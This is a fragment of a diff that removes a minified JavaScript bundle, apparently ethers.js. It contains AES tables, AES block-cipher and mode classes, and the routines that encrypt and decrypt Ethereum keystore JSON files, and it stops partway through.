19308535, 1928707164, 1715193156, 4219352155, 1126790795, 600235211, 3992742070, 3841024952, 836553431, 1669664834, 2535604243, 3323011204, 1243905413, 3141400786, 4180808110, 698445255, 2653899549, 2989552604, 2253581325, 3252932727, 3004591147, 1891211689, 2487810577, 3915653703, 4237083816, 4030667424, 2100090966, 865136418, 1229899655, 953270745, 3399679628, 3557504664, 4118925222, 2061379749, 3079546586, 2915017791, 983426092, 2022837584, 1607244650, 2118541908, 2366882550, 3635996816, 972512814, 3283088770, 1568718495, 3499326569, 3576539503, 621982671, 2895723464, 410887952, 2623762152, 1002142683, 645401037, 1494807662, 2595684844, 1335535747, 2507040230, 4293295786, 3167684641, 367585007, 3885750714, 1865862730, 2668221674, 2960971305, 2763173681, 1059270954, 2777952454, 2724642869, 1320957812, 2194319100, 2429595872, 2815956275, 77089521, 3973773121, 3444575871, 2448830231, 1305906550, 4021308739, 2857194700, 2516901860, 3518358430, 1787304780, 740276417, 1699839814, 1592394909, 2352307457, 2272556026, 188821243, 1729977011, 3687994002, 274084841, 3594982253, 3613494426, 2701949495, 4162096729, 322734571, 2837966542, 1640576439, 484830689, 1202797690, 3537852828, 4067639125, 349075736, 3342319475, 4157467219, 4255800159, 1030690015, 1155237496, 2951971274, 1757691577, 607398968, 2738905026, 499347990, 3794078908, 1011452712, 227885567, 2818666809, 213114376, 3034881240, 1455525988, 3414450555, 850817237, 1817998408, 3092726480]; - var qg = [0, 235474187, 470948374, 303765277, 941896748, 908933415, 607530554, 708780849, 1883793496, 2118214995, 1817866830, 1649639237, 1215061108, 1181045119, 1417561698, 1517767529, 3767586992, 4003061179, 4236429990, 4069246893, 3635733660, 3602770327, 3299278474, 3400528769, 2430122216, 2664543715, 2362090238, 2193862645, 2835123396, 2801107407, 3035535058, 3135740889, 3678124923, 3576870512, 3341394285, 3374361702, 3810496343, 3977675356, 4279080257, 4043610186, 2876494627, 2776292904, 3076639029, 3110650942, 2472011535, 2640243204, 2403728665, 2169303058, 1001089995, 899835584, 666464733, 699432150, 59727847, 226906860, 530400753, 294930682, 1273168787, 1172967064, 1475418501, 1509430414, 1942435775, 2110667444, 1876241833, 1641816226, 2910219766, 2743034109, 2976151520, 3211623147, 2505202138, 2606453969, 2302690252, 2269728455, 3711829422, 3543599269, 3240894392, 3475313331, 3843699074, 3943906441, 4178062228, 4144047775, 1306967366, 1139781709, 1374988112, 1610459739, 1975683434, 2076935265, 1775276924, 1742315127, 1034867998, 866637845, 566021896, 800440835, 92987698, 193195065, 429456164, 395441711, 1984812685, 2017778566, 1784663195, 1683407248, 1315562145, 1080094634, 1383856311, 1551037884, 101039829, 135050206, 437757123, 337553864, 1042385657, 807962610, 573804783, 742039012, 2531067453, 2564033334, 2328828971, 2227573024, 2935566865, 2700099354, 3001755655, 3168937228, 3868552805, 3902563182, 4203181171, 4102977912, 3736164937, 3501741890, 3265478751, 3433712980, 1106041591, 1340463100, 1576976609, 1408749034, 2043211483, 2009195472, 1708848333, 1809054150, 832877231, 1068351396, 766945465, 599762354, 159417987, 126454664, 361929877, 463180190, 2709260871, 2943682380, 3178106961, 3009879386, 2572697195, 2538681184, 2236228733, 2336434550, 3509871135, 3745345300, 3441850377, 3274667266, 3910161971, 3877198648, 4110568485, 4211818798, 2597806476, 2497604743, 2261089178, 2295101073, 2733856160, 2902087851, 3202437046, 2968011453, 3936291284, 3835036895, 4136440770, 4169408201, 3535486456, 3702665459, 3467192302, 3231722213, 2051518780, 1951317047, 1716890410, 1750902305, 1113818384, 1282050075, 1584504582, 1350078989, 168810852, 67556463, 371049330, 404016761, 841739592, 1008918595, 775550814, 540080725, 3969562369, 3801332234, 4035489047, 4269907996, 3569255213, 3669462566, 3366754619, 3332740144, 2631065433, 2463879762, 2160117071, 2395588676, 2767645557, 2868897406, 3102011747, 3069049960, 202008497, 33778362, 270040487, 504459436, 875451293, 975658646, 675039627, 641025152, 2084704233, 1917518562, 1615861247, 1851332852, 1147550661, 1248802510, 1484005843, 1451044056, 933301370, 967311729, 733156972, 632953703, 260388950, 25965917, 328671808, 496906059, 1206477858, 1239443753, 1543208500, 1441952575, 2144161806, 1908694277, 1675577880, 1842759443, 3610369226, 3644379585, 3408119516, 3307916247, 4011190502, 3776767469, 4077384432, 4245618683, 2809771154, 2842737049, 3144396420, 3043140495, 2673705150, 2438237621, 2203032232, 2370213795]; - var Xg = [0, 185469197, 370938394, 487725847, 741876788, 657861945, 975451694, 824852259, 1483753576, 1400783205, 1315723890, 1164071807, 1950903388, 2135319889, 1649704518, 1767536459, 2967507152, 3152976349, 2801566410, 2918353863, 2631447780, 2547432937, 2328143614, 2177544179, 3901806776, 3818836405, 4270639778, 4118987695, 3299409036, 3483825537, 3535072918, 3652904859, 2077965243, 1893020342, 1841768865, 1724457132, 1474502543, 1559041666, 1107234197, 1257309336, 598438867, 681933534, 901210569, 1052338372, 261314535, 77422314, 428819965, 310463728, 3409685355, 3224740454, 3710368113, 3593056380, 3875770207, 3960309330, 4045380933, 4195456072, 2471224067, 2554718734, 2237133081, 2388260884, 3212035895, 3028143674, 2842678573, 2724322336, 4138563181, 4255350624, 3769721975, 3955191162, 3667219033, 3516619604, 3431546947, 3347532110, 2933734917, 2782082824, 3099667487, 3016697106, 2196052529, 2313884476, 2499348523, 2683765030, 1179510461, 1296297904, 1347548327, 1533017514, 1786102409, 1635502980, 2087309459, 2003294622, 507358933, 355706840, 136428751, 53458370, 839224033, 957055980, 605657339, 790073846, 2373340630, 2256028891, 2607439820, 2422494913, 2706270690, 2856345839, 3075636216, 3160175349, 3573941694, 3725069491, 3273267108, 3356761769, 4181598602, 4063242375, 4011996048, 3828103837, 1033297158, 915985419, 730517276, 545572369, 296679730, 446754879, 129166120, 213705253, 1709610350, 1860738147, 1945798516, 2029293177, 1239331162, 1120974935, 1606591296, 1422699085, 4148292826, 4233094615, 3781033664, 3931371469, 3682191598, 3497509347, 3446004468, 3328955385, 2939266226, 2755636671, 3106780840, 2988687269, 2198438022, 2282195339, 2501218972, 2652609425, 1201765386, 1286567175, 1371368976, 1521706781, 1805211710, 1620529459, 2105887268, 1988838185, 533804130, 350174575, 164439672, 46346101, 870912086, 954669403, 636813900, 788204353, 2358957921, 2274680428, 2592523643, 2441661558, 2695033685, 2880240216, 3065962831, 3182487618, 3572145929, 3756299780, 3270937875, 3388507166, 4174560061, 4091327024, 4006521127, 3854606378, 1014646705, 930369212, 711349675, 560487590, 272786309, 457992840, 106852767, 223377554, 1678381017, 1862534868, 1914052035, 2031621326, 1211247597, 1128014560, 1580087799, 1428173050, 32283319, 182621114, 401639597, 486441376, 768917123, 651868046, 1003007129, 818324884, 1503449823, 1385356242, 1333838021, 1150208456, 1973745387, 2125135846, 1673061617, 1756818940, 2970356327, 3120694122, 2802849917, 2887651696, 2637442643, 2520393566, 2334669897, 2149987652, 3917234703, 3799141122, 4284502037, 4100872472, 3309594171, 3460984630, 3545789473, 3629546796, 2050466060, 1899603969, 1814803222, 1730525723, 1443857720, 1560382517, 1075025698, 1260232239, 575138148, 692707433, 878443390, 1062597235, 243256656, 91341917, 409198410, 325965383, 3403100636, 3252238545, 3704300486, 3620022987, 3874428392, 3990953189, 4042459122, 4227665663, 2460449204, 2578018489, 2226875310, 2411029155, 3198115200, 3046200461, 2827177882, 2743944855]; - var Vg = [0, 218828297, 437656594, 387781147, 875313188, 958871085, 775562294, 590424639, 1750626376, 1699970625, 1917742170, 2135253587, 1551124588, 1367295589, 1180849278, 1265195639, 3501252752, 3720081049, 3399941250, 3350065803, 3835484340, 3919042237, 4270507174, 4085369519, 3102249176, 3051593425, 2734591178, 2952102595, 2361698556, 2177869557, 2530391278, 2614737639, 3145456443, 3060847922, 2708326185, 2892417312, 2404901663, 2187128086, 2504130317, 2555048196, 3542330227, 3727205754, 3375740769, 3292445032, 3876557655, 3926170974, 4246310725, 4027744588, 1808481195, 1723872674, 1910319033, 2094410160, 1608975247, 1391201670, 1173430173, 1224348052, 59984867, 244860394, 428169201, 344873464, 935293895, 984907214, 766078933, 547512796, 1844882806, 1627235199, 2011214180, 2062270317, 1507497298, 1423022939, 1137477952, 1321699145, 95345982, 145085239, 532201772, 313773861, 830661914, 1015671571, 731183368, 648017665, 3175501286, 2957853679, 2807058932, 2858115069, 2305455554, 2220981195, 2474404304, 2658625497, 3575528878, 3625268135, 3473416636, 3254988725, 3778151818, 3963161475, 4213447064, 4130281361, 3599595085, 3683022916, 3432737375, 3247465558, 3802222185, 4020912224, 4172763771, 4122762354, 3201631749, 3017672716, 2764249623, 2848461854, 2331590177, 2280796200, 2431590963, 2648976442, 104699613, 188127444, 472615631, 287343814, 840019705, 1058709744, 671593195, 621591778, 1852171925, 1668212892, 1953757831, 2037970062, 1514790577, 1463996600, 1080017571, 1297403050, 3673637356, 3623636965, 3235995134, 3454686199, 4007360968, 3822090177, 4107101658, 4190530515, 2997825956, 3215212461, 2830708150, 2779915199, 2256734592, 2340947849, 2627016082, 2443058075, 172466556, 122466165, 273792366, 492483431, 1047239e3, 861968209, 612205898, 695634755, 1646252340, 1863638845, 2013908262, 1963115311, 1446242576, 1530455833, 1277555970, 1093597963, 1636604631, 1820824798, 2073724613, 1989249228, 1436590835, 1487645946, 1337376481, 1119727848, 164948639, 81781910, 331544205, 516552836, 1039717051, 821288114, 669961897, 719700128, 2973530695, 3157750862, 2871682645, 2787207260, 2232435299, 2283490410, 2667994737, 2450346104, 3647212047, 3564045318, 3279033885, 3464042516, 3980931627, 3762502690, 4150144569, 4199882800, 3070356634, 3121275539, 2904027272, 2686254721, 2200818878, 2384911031, 2570832044, 2486224549, 3747192018, 3528626907, 3310321856, 3359936201, 3950355702, 3867060991, 4049844452, 4234721005, 1739656202, 1790575107, 2108100632, 1890328081, 1402811438, 1586903591, 1233856572, 1149249077, 266959938, 48394827, 369057872, 418672217, 1002783846, 919489135, 567498868, 752375421, 209336225, 24197544, 376187827, 459744698, 945164165, 895287692, 574624663, 793451934, 1679968233, 1764313568, 2117360635, 1933530610, 1343127501, 1560637892, 1243112415, 1192455638, 3704280881, 3519142200, 3336358691, 3419915562, 3907448597, 3857572124, 4075877127, 4294704398, 3029510009, 3113855344, 2927934315, 2744104290, 2159976285, 2377486676, 2594734927, 2544078150]; - var Wg = [0, 151849742, 303699484, 454499602, 607398968, 758720310, 908999204, 1059270954, 1214797936, 1097159550, 1517440620, 1400849762, 1817998408, 1699839814, 2118541908, 2001430874, 2429595872, 2581445614, 2194319100, 2345119218, 3034881240, 3186202582, 2801699524, 2951971274, 3635996816, 3518358430, 3399679628, 3283088770, 4237083816, 4118925222, 4002861748, 3885750714, 1002142683, 850817237, 698445255, 548169417, 529487843, 377642221, 227885567, 77089521, 1943217067, 2061379749, 1640576439, 1757691577, 1474760595, 1592394909, 1174215055, 1290801793, 2875968315, 2724642869, 3111247143, 2960971305, 2405426947, 2253581325, 2638606623, 2487810577, 3808662347, 3926825029, 4044981591, 4162096729, 3342319475, 3459953789, 3576539503, 3693126241, 1986918061, 2137062819, 1685577905, 1836772287, 1381620373, 1532285339, 1078185097, 1229899655, 1040559837, 923313619, 740276417, 621982671, 439452389, 322734571, 137073913, 19308535, 3871163981, 4021308739, 4104605777, 4255800159, 3263785589, 3414450555, 3499326569, 3651041127, 2933202493, 2815956275, 3167684641, 3049390895, 2330014213, 2213296395, 2566595609, 2448830231, 1305906550, 1155237496, 1607244650, 1455525988, 1776460110, 1626319424, 2079897426, 1928707164, 96392454, 213114376, 396673818, 514443284, 562755902, 679998e3, 865136418, 983426092, 3708173718, 3557504664, 3474729866, 3323011204, 4180808110, 4030667424, 3945269170, 3794078908, 2507040230, 2623762152, 2272556026, 2390325492, 2975484382, 3092726480, 2738905026, 2857194700, 3973773121, 3856137295, 4274053469, 4157467219, 3371096953, 3252932727, 3673476453, 3556361835, 2763173681, 2915017791, 3064510765, 3215307299, 2156299017, 2307622919, 2459735317, 2610011675, 2081048481, 1963412655, 1846563261, 1729977011, 1480485785, 1362321559, 1243905413, 1126790795, 878845905, 1030690015, 645401037, 796197571, 274084841, 425408743, 38544885, 188821243, 3613494426, 3731654548, 3313212038, 3430322568, 4082475170, 4200115116, 3780097726, 3896688048, 2668221674, 2516901860, 2366882550, 2216610296, 3141400786, 2989552604, 2837966542, 2687165888, 1202797690, 1320957812, 1437280870, 1554391400, 1669664834, 1787304780, 1906247262, 2022837584, 265905162, 114585348, 499347990, 349075736, 736970802, 585122620, 972512814, 821712160, 2595684844, 2478443234, 2293045232, 2174754046, 3196267988, 3079546586, 2895723464, 2777952454, 3537852828, 3687994002, 3234156416, 3385345166, 4142626212, 4293295786, 3841024952, 3992742070, 174567692, 57326082, 410887952, 292596766, 777231668, 660510266, 1011452712, 893681702, 1108339068, 1258480242, 1343618912, 1494807662, 1715193156, 1865862730, 1948373848, 2100090966, 2701949495, 2818666809, 3004591147, 3122358053, 2235061775, 2352307457, 2535604243, 2653899549, 3915653703, 3764988233, 4219352155, 4067639125, 3444575871, 3294430577, 3746175075, 3594982253, 836553431, 953270745, 600235211, 718002117, 367585007, 484830689, 133361907, 251657213, 2041877159, 1891211689, 1806599355, 1654886325, 1568718495, 1418573201, 1335535747, 1184342925]; - function Zg(t2) { - const e2 = []; - for (let r4 = 0; r4 < t2.length; r4 += 4) - e2.push(t2[r4] << 24 | t2[r4 + 1] << 16 | t2[r4 + 2] << 8 | t2[r4 + 3]); - return e2; - } - var $g = class _$g { - get key() { - return Fg(this, Ng, "f").slice(); - } - constructor(t2) { - if (Ng.set(this, void 0), Mg.set(this, void 0), xg.set(this, void 0), !(this instanceof _$g)) - throw Error("AES must be instanitated with `new`"); - Pg(this, Ng, new Uint8Array(t2), "f"); - const e2 = Tg[this.key.length]; - if (null == e2) - throw new TypeError("invalid key size (must be 16, 24 or 32 bytes)"); - Pg(this, xg, [], "f"), Pg(this, Mg, [], "f"); - for (let t3 = 0; t3 <= e2; t3++) - Fg(this, xg, "f").push([0, 0, 0, 0]), Fg(this, Mg, "f").push([0, 0, 0, 0]); - const r4 = 4 * (e2 + 1), n2 = this.key.length / 4, A2 = Zg(this.key); - let i2; - for (let t3 = 0; t3 < n2; t3++) - i2 = t3 >> 2, Fg(this, xg, "f")[i2][t3 % 4] = A2[t3], Fg(this, Mg, "f")[e2 - i2][t3 % 4] = A2[t3]; - let o2, s2 = 0, a2 = n2; - for (; a2 < r4; ) { - if (o2 = A2[n2 - 1], A2[0] ^= Ug[o2 >> 16 & 255] << 24 ^ Ug[o2 >> 8 & 255] << 16 ^ Ug[255 & o2] << 8 ^ Ug[o2 >> 24 & 255] ^ Rg[s2] << 24, s2 += 1, 8 != n2) - for (let t4 = 1; t4 < n2; t4++) - A2[t4] ^= A2[t4 - 1]; - else { - for (let t4 = 1; t4 < n2 / 2; t4++) - A2[t4] ^= A2[t4 - 1]; - o2 = A2[n2 / 2 - 1], A2[n2 / 2] ^= Ug[255 & o2] ^ Ug[o2 >> 8 & 255] << 8 ^ Ug[o2 >> 16 & 255] << 16 ^ Ug[o2 >> 24 & 255] << 24; - for (let t4 = n2 / 2 + 1; t4 < n2; t4++) - A2[t4] ^= A2[t4 - 1]; - } - let t3, i3, c2 = 0; - for (; c2 < n2 && a2 < r4; ) - t3 = a2 >> 2, i3 = a2 % 4, Fg(this, xg, "f")[t3][i3] = A2[c2], Fg(this, Mg, "f")[e2 - t3][i3] = A2[c2++], a2++; - } - for (let t3 = 1; t3 < e2; t3++) - for (let e3 = 0; e3 < 4; e3++) - o2 = Fg(this, Mg, "f")[t3][e3], Fg(this, Mg, "f")[t3][e3] = qg[o2 >> 24 & 255] ^ Xg[o2 >> 16 & 255] ^ Vg[o2 >> 8 & 255] ^ Wg[255 & o2]; - } - encrypt(t2) { - if (16 != t2.length) - throw new TypeError("invalid plaintext size (must be 16 bytes)"); - const e2 = Fg(this, xg, "f").length - 1, r4 = [0, 0, 0, 0]; - let n2 = Zg(t2); - for (let t3 = 0; t3 < 4; t3++) - n2[t3] ^= Fg(this, xg, "f")[0][t3]; - for (let t3 = 1; t3 < e2; t3++) { - for (let e3 = 0; e3 < 4; e3++) - r4[e3] = Hg[n2[e3] >> 24 & 255] ^ Lg[n2[(e3 + 1) % 4] >> 16 & 255] ^ Og[n2[(e3 + 2) % 4] >> 8 & 255] ^ Yg[255 & n2[(e3 + 3) % 4]] ^ Fg(this, xg, "f")[t3][e3]; - n2 = r4.slice(); - } - const A2 = new Uint8Array(16); - let i2 = 0; - for (let t3 = 0; t3 < 4; t3++) - i2 = Fg(this, xg, "f")[e2][t3], A2[4 * t3] = 255 & (Ug[n2[t3] >> 24 & 255] ^ i2 >> 24), A2[4 * t3 + 1] = 255 & (Ug[n2[(t3 + 1) % 4] >> 16 & 255] ^ i2 >> 16), A2[4 * t3 + 2] = 255 & (Ug[n2[(t3 + 2) % 4] >> 8 & 255] ^ i2 >> 8), A2[4 * t3 + 3] = 255 & (Ug[255 & n2[(t3 + 3) % 4]] ^ i2); - return A2; - } - decrypt(t2) { - if (16 != t2.length) - throw new TypeError("invalid ciphertext size (must be 16 bytes)"); - const e2 = Fg(this, Mg, "f").length - 1, r4 = [0, 0, 0, 0]; - let n2 = Zg(t2); - for (let t3 = 0; t3 < 4; t3++) - n2[t3] ^= Fg(this, Mg, "f")[0][t3]; - for (let t3 = 1; t3 < e2; t3++) { - for (let e3 = 0; e3 < 4; e3++) - r4[e3] = Kg[n2[e3] >> 24 & 255] ^ Jg[n2[(e3 + 3) % 4] >> 16 & 255] ^ jg[n2[(e3 + 2) % 4] >> 8 & 255] ^ zg[255 & n2[(e3 + 1) % 4]] ^ Fg(this, Mg, "f")[t3][e3]; - n2 = r4.slice(); - } - const A2 = new Uint8Array(16); - let i2 = 0; - for (let t3 = 0; t3 < 4; t3++) - i2 = Fg(this, Mg, "f")[e2][t3], A2[4 * t3] = 255 & (Gg[n2[t3] >> 24 & 255] ^ i2 >> 24), A2[4 * t3 + 1] = 255 & (Gg[n2[(t3 + 3) % 4] >> 16 & 255] ^ i2 >> 16), A2[4 * t3 + 2] = 255 & (Gg[n2[(t3 + 2) % 4] >> 8 & 255] ^ i2 >> 8), A2[4 * t3 + 3] = 255 & (Gg[255 & n2[(t3 + 1) % 4]] ^ i2); - return A2; - } - }; - Ng = /* @__PURE__ */ new WeakMap(), Mg = /* @__PURE__ */ new WeakMap(), xg = /* @__PURE__ */ new WeakMap(); - var tu = class { - constructor(t2, e2, r4) { - if (r4 && !(this instanceof r4)) - throw new Error(`${t2} must be instantiated with "new"`); - Object.defineProperties(this, { aes: { enumerable: true, value: new $g(e2) }, name: { enumerable: true, value: t2 } }); - } - }; - var eu; - var ru; - var nu = function(t2, e2, r4, n2, A2) { - if ("m" === n2) - throw new TypeError("Private method is not writable"); - if ("a" === n2 && !A2) - throw new TypeError("Private accessor was defined without a setter"); - if ("function" == typeof e2 ? t2 !== e2 || !A2 : !e2.has(t2)) - throw new TypeError("Cannot write private member to an object whose class did not declare it"); - return "a" === n2 ? A2.call(t2, r4) : A2 ? A2.value = r4 : e2.set(t2, r4), r4; - }; - var Au = function(t2, e2, r4, n2) { - if ("a" === r4 && !n2) - throw new TypeError("Private accessor was defined without a getter"); - if ("function" == typeof e2 ? t2 !== e2 || !n2 : !e2.has(t2)) - throw new TypeError("Cannot read private member from an object whose class did not declare it"); - return "m" === r4 ? n2 : "a" === r4 ? n2.call(t2) : n2 ? n2.value : e2.get(t2); - }; - var iu = class _iu extends tu { - constructor(t2, e2) { - if (super("ECC", t2, _iu), eu.set(this, void 0), ru.set(this, void 0), e2) { - if (e2.length % 16) - throw new TypeError("invalid iv size (must be 16 bytes)"); - nu(this, eu, new Uint8Array(e2), "f"); - } else - nu(this, eu, new Uint8Array(16), "f"); - nu(this, ru, this.iv, "f"); - } - get iv() { - return new Uint8Array(Au(this, eu, "f")); - } - encrypt(t2) { - if (t2.length % 16) - throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); - const e2 = new Uint8Array(t2.length); - for (let r4 = 0; r4 < t2.length; r4 += 16) { - for (let e3 = 0; e3 < 16; e3++) - Au(this, ru, "f")[e3] ^= t2[r4 + e3]; - nu(this, ru, this.aes.encrypt(Au(this, ru, "f")), "f"), e2.set(Au(this, ru, "f"), r4); - } - return e2; - } - decrypt(t2) { - if (t2.length % 16) - throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); - const e2 = new Uint8Array(t2.length); - for (let r4 = 0; r4 < t2.length; r4 += 16) { - const n2 = this.aes.decrypt(t2.subarray(r4, r4 + 16)); - for (let A2 = 0; A2 < 16; A2++) - e2[r4 + A2] = n2[A2] ^ Au(this, ru, "f")[A2], Au(this, ru, "f")[A2] = t2[r4 + A2]; - } - return e2; - } - }; - eu = /* @__PURE__ */ new WeakMap(), ru = /* @__PURE__ */ new WeakMap(); - var ou; - var su; - var au; - var cu = function(t2, e2, r4, n2, A2) { - if ("m" === n2) - throw new TypeError("Private method is not writable"); - if ("a" === n2 && !A2) - throw new TypeError("Private accessor was defined without a setter"); - if ("function" == typeof e2 ? t2 !== e2 || !A2 : !e2.has(t2)) - throw new TypeError("Cannot write private member to an object whose class did not declare it"); - return "a" === n2 ? A2.call(t2, r4) : A2 ? A2.value = r4 : e2.set(t2, r4), r4; - }; - var hu = function(t2, e2, r4, n2) { - if ("a" === r4 && !n2) - throw new TypeError("Private accessor was defined without a getter"); - if ("function" == typeof e2 ? t2 !== e2 || !n2 : !e2.has(t2)) - throw new TypeError("Cannot read private member from an object whose class did not declare it"); - return "m" === r4 ? n2 : "a" === r4 ? n2.call(t2) : n2 ? n2.value : e2.get(t2); - }; - var gu = class _gu extends tu { - constructor(t2, e2) { - super("CTR", t2, _gu), ou.set(this, void 0), su.set(this, void 0), au.set(this, void 0), cu(this, au, new Uint8Array(16), "f"), hu(this, au, "f").fill(0), cu(this, ou, hu(this, au, "f"), "f"), cu(this, su, 16, "f"), null == e2 && (e2 = 1), "number" == typeof e2 ? this.setCounterValue(e2) : this.setCounterBytes(e2); - } - get counter() { - return new Uint8Array(hu(this, au, "f")); - } - setCounterValue(t2) { - if (!Number.isInteger(t2) || t2 < 0 || t2 > Number.MAX_SAFE_INTEGER) - throw new TypeError("invalid counter initial integer value"); - for (let e2 = 15; e2 >= 0; --e2) - hu(this, au, "f")[e2] = t2 % 256, t2 = Math.floor(t2 / 256); - } - setCounterBytes(t2) { - if (16 !== t2.length) - throw new TypeError("invalid counter initial Uint8Array value length"); - hu(this, au, "f").set(t2); - } - increment() { - for (let t2 = 15; t2 >= 0; t2--) { - if (255 !== hu(this, au, "f")[t2]) { - hu(this, au, "f")[t2]++; - break; - } - hu(this, au, "f")[t2] = 0; - } - } - encrypt(t2) { - var e2, r4; - const n2 = new Uint8Array(t2); - for (let t3 = 0; t3 < n2.length; t3++) - 16 === hu(this, su, "f") && (cu(this, ou, this.aes.encrypt(hu(this, au, "f")), "f"), cu(this, su, 0, "f"), this.increment()), n2[t3] ^= hu(this, ou, "f")[cu(this, su, (r4 = hu(this, su, "f"), e2 = r4++, r4), "f"), e2]; - return n2; - } - decrypt(t2) { - return this.encrypt(t2); - } - }; - function uu(t2) { - return "string" != typeof t2 || t2.startsWith("0x") || (t2 = "0x" + t2), Nn(t2); - } - function lu(t2, e2) { - for (t2 = String(t2); t2.length < e2; ) - t2 = "0" + t2; - return t2; - } - function fu(t2) { - return "string" == typeof t2 ? aA(t2, "NFKC") : Nn(t2); - } - function pu(t2, e2) { - const r4 = e2.match(/^([a-z0-9$_.-]*)(:([a-z]+))?(!)?$/i); - vn(null != r4, "invalid path", "path", e2); - const n2 = r4[1], A2 = r4[3], i2 = "!" === r4[4]; - let o2 = t2; - for (const t3 of n2.toLowerCase().split(".")) { - if (Array.isArray(o2)) { - if (!t3.match(/^[0-9]+$/)) - break; - o2 = o2[parseInt(t3)]; - } else if ("object" == typeof o2) { - let e3 = null; - for (const r5 in o2) - if (r5.toLowerCase() === t3) { - e3 = o2[r5]; - break; - } - o2 = e3; - } else - o2 = null; - if (null == o2) - break; - } - if (vn(!i2 || null != o2, "missing required value", "path", n2), A2 && null != o2) { - if ("int" === A2) { - if ("string" == typeof o2 && o2.match(/^-?[0-9]+$/)) - return parseInt(o2); - if (Number.isSafeInteger(o2)) - return o2; - } - if ("number" === A2 && "string" == typeof o2 && o2.match(/^-?[0-9.]*$/)) - return parseFloat(o2); - if ("data" === A2 && "string" == typeof o2) - return uu(o2); - if ("array" === A2 && Array.isArray(o2)) - return o2; - if (A2 === typeof o2) - return o2; - vn(false, `wrong type found for ${A2} `, "path", n2); - } - return o2; - } - ou = /* @__PURE__ */ new WeakMap(), su = /* @__PURE__ */ new WeakMap(), au = /* @__PURE__ */ new WeakMap(); - var du = "m/44'/60'/0'/0/0"; - function Iu(t2) { - try { - const e2 = JSON.parse(t2); - if (3 === (null != e2.version ? parseInt(e2.version) : 0)) - return true; - } catch (t3) { - } - return false; - } - function yu(t2, e2) { - const r4 = Sn(e2), n2 = pu(t2, "crypto.ciphertext:data!"); - vn(Pn(no(Tn([r4.slice(16, 32), n2]))).substring(2) === pu(t2, "crypto.mac:string!").toLowerCase(), "incorrect password", "password", "[ REDACTED ]"); - const A2 = function(t3, e3, r5) { - if ("aes-128-ctr" === pu(t3, "crypto.cipher:string")) { - const n3 = pu(t3, "crypto.cipherparams.iv:data!"); - return Pn(new gu(e3, n3).decrypt(r5)); - } - wn(false, "unsupported cipher", "UNSUPPORTED_OPERATION", { operation: "decrypt" }); - }(t2, r4.slice(0, 16), n2), i2 = Ja(A2); - if (t2.address) { - let e3 = t2.address.toLowerCase(); - e3.startsWith("0x") || (e3 = "0x" + e3), vn(da(e3) === i2, "keystore address/privateKey mismatch", "address", t2.address); - } - const o2 = { address: i2, privateKey: A2 }; - if ("0.1" === pu(t2, "x-ethers.version:string")) { - const e3 = r4.slice(32, 64), n3 = pu(t2, "x-ethers.mnemonicCiphertext:data!"), A3 = pu(t2, "x-ethers.mnemonicCounter:data!"), i3 = new gu(e3, A3); - o2.mnemonic = { path: pu(t2, "x-ethers.path:string") || du, locale: pu(t2, "x-ethers.locale:string") || "en", entropy: Pn(Sn(i3.decrypt(n3))) }; - } - return o2; - } - function Cu(t2) { - const e2 = pu(t2, "crypto.kdf:string"); - if (e2 && "string" == typeof e2) { - if ("scrypt" === e2.toLowerCase()) { - const r4 = pu(t2, "crypto.kdfparams.salt:data!"), n2 = pu(t2, "crypto.kdfparams.n:int!"), A2 = pu(t2, "crypto.kdfparams.r:int!"), i2 = pu(t2, "crypto.kdfparams.p:int!"); - vn(n2 > 0 && !(n2 & n2 - 1), "invalid kdf.N", "kdf.N", n2), vn(A2 > 0 && i2 > 0, "invalid kdf", "kdf", e2); - const o2 = pu(t2, "crypto.kdfparams.dklen:int!"); - return vn(32 === o2, "invalid kdf.dklen", "kdf.dflen", o2), { name: "scrypt", salt: r4, N: n2, r: A2, p: i2, dkLen: 64 }; - } - if ("pbkdf2" === e2.toLowerCase()) { - const e3 = pu(t2, "crypto.kdfparams.salt:data!"), r4 = pu(t2, "crypto.kdfparams.prf:string!"), n2 = r4.split("-").pop(); - vn("sha256" === n2 || "sha512" === n2, "invalid kdf.pdf", "kdf.pdf", r4); - const A2 = pu(t2, "crypto.kdfparams.c:int!"), i2 = pu(t2, "crypto.kdfparams.dklen:int!"); - return vn(32 === i2, "invalid kdf.dklen", "kdf.dklen", i2), { name: "pbkdf2", salt: e3, count: A2, dkLen: i2, algorithm: n2 }; - } - } - vn(false, "unsupported key-derivation function", "kdf", e2); - } - function mu(t2) { - return new Promise((e2) => { - setTimeout(() => { - e2(); - }, t2); - }); - } - function Bu(t2) { - const e2 = null != t2.salt ? Sn(t2.salt, "options.salt") : So(32); - let r4 = 1 << 17, n2 = 8, A2 = 1; - return t2.scrypt && (t2.scrypt.N && (r4 = t2.scrypt.N), t2.scrypt.r && (n2 = t2.scrypt.r), t2.scrypt.p && (A2 = t2.scrypt.p)), vn("number" == typeof r4 && r4 > 0 && Number.isSafeInteger(r4) && (BigInt(r4) & BigInt(r4 - 1)) === BigInt(0), "invalid scrypt N parameter", "options.N", r4), vn("number" == typeof n2 && n2 > 0 && Number.isSafeInteger(n2), "invalid scrypt r parameter", "options.r", n2), vn("number" == typeof A2 && A2 > 0 && Number.isSafeInteger(A2), "invalid scrypt p parameter", "options.p", A2), { name: "scrypt", dkLen: 32, salt: e2, N: r4, r: n2, p: A2 }; - } - function Eu(t2, e2, r4, n2) { - const A2 = Sn(r4.privateKey, "privateKey"), i2 = null != n2.iv ? Sn(n2.iv, "options.iv") : So(16); - vn(16 === i2.length, "invalid options.iv length", "options.iv", n2.iv); - const o2 = null != n2.uuid ? Sn(n2.uuid, "options.uuid") : So(16); - vn(16 === o2.length, "invalid options.uuid length", "options.uuid", n2.iv); - const s2 = t2.slice(0, 16), a2 = t2.slice(16, 32), c2 = Sn(new gu(s2, i2).encrypt(A2)), h2 = no(Tn([a2, c2])), g2 = { address: r4.address.substring(2).toLowerCase(), id: NA(o2), version: 3, Crypto: { cipher: "aes-128-ctr", cipherparams: { iv: Pn(i2).substring(2) }, ciphertext: Pn(c2).substring(2), kdf: "scrypt", kdfparams: { salt: Pn(e2.salt).substring(2), n: e2.N, dklen: 32, p: e2.p, r: e2.r }, mac: h2.substring(2) } }; - if (r4.mnemonic) { - const e3 = null != n2.client ? n2.client : `ethers/${pn}`, A3 = r4.mnemonic.path || du, i3 = r4.mnemonic.locale || "en", o3 = t2.slice(32, 64), s3 = Sn(r4.mnemonic.entropy, "account.mnemonic.entropy"), a3 = So(16), c3 = Sn(new gu(o3, a3).encrypt(s3)), h3 = /* @__PURE__ */ new Date(), u2 = "UTC--" + (h3.getUTCFullYear() + "-" + 